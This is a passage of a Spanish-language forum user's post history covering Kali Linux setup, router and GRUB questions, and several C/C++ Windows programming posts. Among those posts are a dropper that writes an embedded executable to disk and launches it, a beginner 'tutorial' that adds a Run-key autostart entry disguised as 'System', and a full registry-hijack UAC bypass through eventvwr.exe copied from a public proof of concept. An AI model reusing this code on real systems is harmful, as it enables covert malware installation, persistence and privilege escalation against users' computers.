|
101
|
Programación / Programación C/C++ / Solucionar estos errores en las funciones de window
|
en: 12 Febrero 2017, 21:34 pm
|
He hecho un pequeño programa en el que hago uso de las funciones de windows el codigo es el siguiente. resources.rc: #include <windows.h> #include "resource.h"
ELEXE RCDATA "Example1.exe" resource.h: #ifndef RESOURCE_H_INCLUDED #define RESOURCE_H_INCLUDED
#define ELEXE ""
#endif // RESOURCE_H_INCLUDED
main.cpp: #include <iostream> #include <windows.h> #include "resource.h"
using namespace std;
int main() {
string exe = "ELEXE"; HRSRC res=FindResource(NULL,exe.c_str(),RT_RCDATA);
if(res==NULL) cout << GetLastError(); cout << "\n";
int size=SizeofResource(NULL,res);
if( !size ) cout << 122; // Arbitrario. -> ERROR_INSUFFICIENT_BUFFER cout << "\n";
HGLOBAL hRes=LoadResource(NULL,res);
if( !hRes ) cout << 122; // Arbitrario. -> ERROR_INSUFFICIENT_BUFFER cout << "\n";
unsigned char *pRes=(unsigned char *)LockResource(hRes);
HANDLE hFile=CreateFile("C:/Users/android/Desktop/pi.exe",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
if(hFile==INVALID_HANDLE_VALUE) cout << GetLastError(); cout << "\n";
DWORD bytesWritten = size;
WriteFile(hFile,pRes,size,&bytesWritten,NULL);
if( !WriteFile(hFile,pRes,size,&bytesWritten,NULL) ) cout << GetLastError(); cout << "\n";
CloseHandle(hFile);
ShellExecute(HWND_DESKTOP,NULL,"C:/Users/android/Desktop/pi.exe",NULL,NULL,SW_SHOWNORMAL); system("pause"); return 0; }
El problema esta en que me devuelve los siguientes errores: tanto res como size como hres me devuelven error por qué?
|
|
|
102
|
Sistemas Operativos / GNU/Linux / Ver dispositivos en red como en windows
|
en: 9 Febrero 2017, 22:56 pm
|
Hola hay alguna manera posible de ver mis dispositivos en red con linux como cuando uno abre la red en windows y ve su router y otros dispositivos compartidos. En principio obviamente será diferente a lo mejor solamente se podrá ver en modo consola creo?
Con esto podia hacer modificaciones en router etc y ver mis dispositivos compartidos, sin embargo en linux me aparece en redes : red de windows pero no se muestra ningun dispositivo. Hay algo similar por consola para ver los dispositivos en red o tener acceso a ellos ? Obviamente seguramente no habra pero por si conocierais alguna manera me podría resultar util. gracias. y disculpar!
|
|
|
103
|
Comunicaciones / Redes / Abrir puerto en router tp link usando solamente telnet
|
en: 9 Febrero 2017, 22:05 pm
|
Hola es posible abrir el puerto de mi router usando solamente telnet los comandos que tengo son los siguientes: Alguien sabría como? Mi router es un tp-link td-w8951nd. Si la pregunta es demasiado inoportuna para aprender mas sobre telnet tendría que revisar la guia de mi router o como podria buscar mas informacion al respecto. gracias.
|
|
|
104
|
Sistemas Operativos / GNU/Linux / error por instalar virtualbox en kali linux¿?
|
en: 9 Febrero 2017, 19:09 pm
|
Puse estos comandos: 1º echo "deb http://download.virtualbox.org/virtualbox/debian vivid contrib" >> /etc/apt/sources.list.d/virtualbox.list
2º wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -
3º apt-get update
4º apt-get install virtualbox-5.0 Fallo que obtengo: apt-get install virtualbox-5.0 Leyendo lista de paquetes... Hecho Creando árbol de dependencias Leyendo la información de estado... Hecho No se pudieron instalar algunos paquetes. Esto puede significar que usted pidió una situación imposible o, si está usando la distribución inestable, que algunos paquetes necesarios aún no se han creado o se han sacado de «Incoming». La siguiente información puede ayudar a resolver la situación:
Los siguientes paquetes tienen dependencias incumplidas: virtualbox-5.0 : Depende: libpng12-0 (>= 1.2.13-4) pero no es instalable Depende: libssl1.0.0 (>= 1.0.0) pero no es instalable Depende: libvpx1 (>= 1.0.0) pero no es instalable Recomienda: libsdl-ttf2.0-0 pero no va a instalarse Recomienda: dkms pero no va a instalarse Recomienda: linux-headers pero no es instalable E: No se pudieron corregir los problemas, usted ha retenido paquetes rotos. kali linux se me esta resistiendo Cuando instalo las librerias en 32 bits me dan error, me las baje de los repositorios oficiales de debian: dpkg -i libvpx-dev_1.1.0-1_i386.deb (Leyendo la base de datos ... 320563 ficheros o directorios instalados actualmente.) Preparando para desempaquetar libvpx-dev_1.1.0-1_i386.deb ... Desempaquetando libvpx-dev:i386 (1.1.0-1) sobre (1.1.0-1) ... dpkg: problemas de dependencias impiden la configuración de libvpx-dev:i386: libvpx-dev:i386 depende de libvpx1 (= 1.1.0-1); sin embargo: El paquete `libvpx1' no está instalado.
dpkg: error al procesar el paquete libvpx-dev:i386 (--install): problemas de dependencias - se deja sin configurar Se encontraron errores al procesar: libvpx-dev:i386
No puedo actualizar todo porque sino me actualiza la grafica y al ser un ordenador antiguo me cambia la resolucion y me la fastidia..
|
|
|
106
|
Sistemas Operativos / GNU/Linux / problema con los repositorios
|
en: 6 Febrero 2017, 23:35 pm
|
Hola estoy actualizando mi linux ya que muchas veces no puede localizar determinados paquetes por ejemplo el boot-repair entonces decidi actualizar los repositorios segun la documentacion haciendo lo siguiente Pero no funciono así que pobre otros repositorios de momento no se que camino tomar. Tengo el kali linux rolling 2.0. referencia: http://docs.kali.org/general-use/kali-linux-sources-list-repositoriesCuando hago lo que pone en docs no me actualiza mira un enlace y luego pone hecho alguien sabe como actualizar correctamente los repositorios en esta distro? Estoy haciendo un upgrade: apt-get upgrade a ver si asi se soluciona.
|
|
|
107
|
Sistemas Operativos / GNU/Linux / Añadir un sistema operativo a mi grub
|
en: 6 Febrero 2017, 20:41 pm
|
Hola tengo como sistema en linux kali linux y con su grub pero el problema esque me reconoce mi windows 10, mi windows 7 de 64 bits pero no el otro de 32 bits que aparecen juntos cuando abro el de 64 bits con el mismo mbr por lo que pienso que ahí estará el problema creo o no se. Bueno hay alguna forma de añadir esta partición a mi disco ya que de momento no lo he conseguido solo puedo arrancarlo si arranco el otro sistema operativo de windows 7 usando su mbr. Subo una imagen de las particiones que tengo y si sabrias como podria, captura: El sistema es la particion 6. El problema esta en que solo me esta reconociendo dos sistemas y un solo windows 7: Pero tengo un windows mas son 2 windows 7 y parece que comparten el mismo mbr. por lo cual solo coge uno como podria resolverlo?
|
|
|
108
|
Programación / Programación C/C++ / RegSetValueEx me crea la regla en chino?
|
en: 4 Febrero 2017, 14:47 pm
|
Hola tengo una duda estuve haciendo unas modificaciones porque quería simplemente una regla usando qt y como compilador visual studio 2013.. normalmente estaba acostumbrado hacer esto: string subclave="Hello"; string valor="Anyone"; LPCTSTR _subclave = TEXT(""); LPCTSTR _valor = TEXT(""); long crear = RegSetValueEx(key, _subclave, 0, REG_SZ, (LPBYTE) _valor, strlen(_valor) * sizeof(char)); Pero me daba los siguientes errores: Entonces hice los cambias que me pedia: string hola="hola"; std::wstring stemp = std::wstring(hola.begin(), hola.end()); LPCWSTR subclave = stemp.c_str(); const char * valor = "hola"; long crear = RegSetValueEx(key, subclave, 0, REG_SZ, (LPBYTE) valor, strlen(valor) * sizeof(char)); Pero me escribe la regla en chino y no se como solucionarlo
|
|
|
109
|
Programación / Programación C/C++ / Tutorial crear una regla en registro usando c++
|
en: 1 Febrero 2017, 23:34 pm
|
Hola esto es un codigo de como podeis crear una regla en registro usando solamente c++. Viene con comentarios para que podais. Es para novatos. #include <iostream> #include <windows.h> #include <conio.h> using namespace std; int main(int argc, char *argv []) { //asignamos key el valor nulo HKEY key = 0; //creamos la regla RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key) //elegimos la ruta donde se creara LPCTSTR ruta = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\"); //con status podemos saber si la regla se creo correctamente long status = RegOpenKey(HKEY_CURRENT_USER, ruta, &key); if (status != 0) { cout << "Win error: " << GetLastError() << endl; } else { //nombre de nuestra subclave string subclave="System"; //valor de la subclave string valor="C:\\Windows\\tuprograma.exe"; //hacemos la conversion del nombre de la subclave y la subclave LPCTSTR _subclave = TEXT(subclave.c_str()); LPCTSTR _valor = TEXT(valor.c_str()); long crear = RegSetValueEx(key, _subclave, 0, REG_SZ, (LPBYTE) _valor, strlen(_valor) * sizeof(char)); if (crear != 0) { //si falla sera porque no teneis permisos o crear es diferente a 0 cout << "Win error: " << GetLastError() << endl; } else { //se creo correctamente ya que crear vale 0 que es el valor creado cout << "Subclave creada correctamente" << endl; } } RegCloseKey(key); //hacemos un getch para que no se cierre nuestro programa y ver que se creo //correctamente si quereis lo podeis quitar _getch(); }
|
|
|
110
|
Programación / Programación C/C++ / crear regla registro (no me lo hace) programa en c
|
en: 1 Febrero 2017, 20:10 pm
|
no me crea la regla en registro #include <windows.h> #include <stdio.h> #include <stdlib.h> /* * Pretty standard code to recursively nuke a Reg Key */ int RegDelnodeRecurse (LPTSTR lpSubKey) { LPTSTR lpEnd; LONG lResult; DWORD dwSize = MAX_PATH; TCHAR szName[MAX_PATH]; HKEY hKey; FILETIME ftWrite; lResult = RegDeleteKey(HKEY_CURRENT_USER, lpSubKey); if (lResult == ERROR_SUCCESS) return 1; lResult = RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_READ, &hKey); if (lResult != ERROR_SUCCESS) return lResult == ERROR_FILE_NOT_FOUND; lpEnd = lpSubKey + lstrlen(lpSubKey); *lpEnd++ = '\\'; *lpEnd = '\0'; if (RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite) == ERROR_SUCCESS) { do { strcpy(lpEnd, szName); if (!RegDelnodeRecurse(lpSubKey)) break; lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite); } while (lResult == ERROR_SUCCESS); } lpEnd--; *lpEnd = TEXT('\0'); RegCloseKey(hKey); return RegDeleteKey(HKEY_CURRENT_USER, lpSubKey) == ERROR_SUCCESS; } /* * Wrapper for above */ int RegDelnode() { TCHAR szDelKey[MAX_PATH*2] = "Software\\Classes\\mscfile"; return RegDelnodeRecurse(szDelKey); } void __c_UAC() { char curPath[MAX_PATH], evtVwr[MAX_PATH]; HKEY attackKey; SHELLEXECUTEINFO exInfo; GetCurrentDirectory(MAX_PATH, curPath); strcat(curPath, "\\foobar.exe"); sprintf(evtVwr, "%s\\System32\\eventvwr.exe", getenv("SYSTEMROOT")); if(!RegDelnode()) return; if(RegCreateKey(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", &attackKey)!=ERROR_SUCCESS) return; RegSetValueEx(attackKey, "", 0, REG_SZ, curPath, strlen(curPath)); exInfo.lpVerb = "open"; exInfo.lpFile = evtVwr; exInfo.nShow = 0; exInfo.fMask = SEE_MASK_NOCLOSEPROCESS; exInfo.cbSize = sizeof(SHELLEXECUTEINFO); exInfo.hwnd = 0; exInfo.lpParameters = 0; exInfo.lpDirectory = 0; exInfo.hInstApp = 0; ShellExecuteEx(&exInfo); Sleep(5000); TerminateProcess(exInfo.hProcess, 0); RegCloseKey(attackKey); RegDelnode(); } int main(int argc, char *argv[]) { __c_UAC(); return 0; } captura: Referencia: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/Como podeis ver no estoy muy familiarizado con c. En c++ me resulta mas facil pero como esta programado en c no logro como hacerlo correctamente.
|
|
|
|
|
|
|